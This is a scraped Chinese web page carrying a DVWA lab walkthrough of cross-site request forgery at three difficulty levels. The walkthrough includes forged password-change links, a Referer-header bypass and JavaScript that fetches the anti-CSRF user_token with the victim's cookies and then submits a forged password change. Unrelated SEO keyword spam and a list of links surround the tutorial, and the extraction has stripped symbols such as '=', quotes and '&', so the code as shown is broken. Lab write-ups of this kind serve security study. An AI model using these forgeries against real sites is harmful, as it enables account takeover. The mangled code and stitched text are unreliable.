当前位置: 首页 > news >正文

求网站建设的视频教程汕头建设银行协华支行

求网站建设的视频教程,汕头建设银行协华支行,个人引流推广怎么做,珠海公司注册DVWA-csrf实例 low级别 修改密码#xff1a;修改的密码通过get请求#xff0c;暴露在url上。 写一个简单的html文件#xff0c;里面伪装修改密码的文字#xff0c;代码如下#xff1a; htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csr…DVWA-csrf实例 low级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/body /html点击dvwa-csrf-low文字后跳转到dvwa的修改密码界面提示Password changed密码已修改。 middle级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/body /html点击dvwa-csrf-middle文字后跳转到dvwa的修改密码界面提示the request didn’t look correct (请求不正确)。 查看源码发现会校验http_referer和server_name两个参数不为空。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。 网上另外解法修改host和referer为localhost或127.0.0.1其实也是遵循同源策略。 high级别 修改密码修改的密码通过get请求暴露在url上并且带上user_token。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new2password_conf2ChangeChangeuser_token96f6243c53766d30d5e51cf92c15f9a3#dvwa-csrf-high/a/body /html点击dvwa-csrf-high文字后跳转到dvwa的修改密码界面提示csrf token is incorrect (csrf的token错误)。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。结果还是失败。因此查看源码#1这行有进行token的校验。#2这行进行token生成大致可以分析出token生成后一次性校验跟验证码同理。 ?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF token #1checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token #2 generateSessionToken();?基于分析出的结论要构建一个新请求先调用#2再调用修改密码的请求此时为了避免跨域问题。将写好的html直接放到dvwa下。 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefjavascript:void(0); onclickinitJS()dvwa-csrf-high/a/bodyscript function initJS(){var theUrl http://dvwa:7001/vulnerabilities/csrf/; if(window.XMLHttpRequest) {xmlhttp new XMLHttpRequest(); }else{xmlhttp new ActiveXObject(Microsoft.XMLHTTP); } var count 0; xmlhttp.withCredentials true; xmlhttp.onreadystatechangefunction(){if(xmlhttp.readyState 4 xmlhttp.status200){var text xmlhttp.responseText;var regex /user_token\ value\\(.*?)\ \/\/;var match text.match(regex);var token match[1];var new_url http://dvwa:7001/vulnerabilities/csrf/?user_tokentokenpassword_new1password_conf1ChangeChange;if(count0){count;//此代码用于只执行一次修改密码xmlhttp.open(GET,new_url,false);xmlhttp.send();}} }; xmlhttp.open(GET,theUrl,false); xmlhttp.send();}/script /html用新密码可以成功登录通关结束。
http://www.hkea.cn/news/14543702/

相关文章:

  • 免费做房产网站有哪些wordpress 云教育
  • 广州澄网站建设公司上海app开发推荐中伟科
  • app和手机网站的区别是什么嵌入式培训总结
  • 云砺信息科技做网站广州专业展台制作价格
  • 网站模板包含哪些内容安徽省建设厅网站域名
  • 网站首页外链开发区网站建设公司
  • 佛山市网站开发做外卖网站需要多少钱
  • 网站优化计划在百度上做网站推广怎么弄
  • 做机械毕业设计哪个网站好扬州建设企业网站
  • 网站建设7大概要多久网站域名备案和icp备案一样么
  • 免费的行情网站app网页PS做游戏网站需要做几个网页
  • 网站建设氺金手指排名15陵水网站建设方案
  • 罗湖网站建设公司乐云seo黄冈网站免费投放平台免费下载
  • 网站押金收回怎么做分录photoshop正版软件多少钱
  • 重庆网站建站建设免费常见的网站攻击方式
  • 网站推广效果个人网站设计构思
  • 网站设计的思想东莞网站(建设信科网络)
  • 怎样做网站首页wordpress 菜单 宽度
  • 建设部网站施工合同有什么那个网站
  • 网站商品展示页怎么做景观设计论文
  • 合肥网站建设费用北京装修公司排名电话
  • 怎么优化网站性能wordpress内存高
  • wordpress建立移动m站望野博物馆馆长
  • 网站开发string文件学做美食视频网站
  • 浏阳做网站软件开发全过程
  • 浙江建设网一官方网站wordpress转换中文
  • 张家口市网站建设霸气的公司名字大全
  • 石家庄局域网网站建设做php网站都用框架吗
  • 预约网免费建站流程个人养老保险12000元
  • 网站代码大全网页设计与制作简答题答案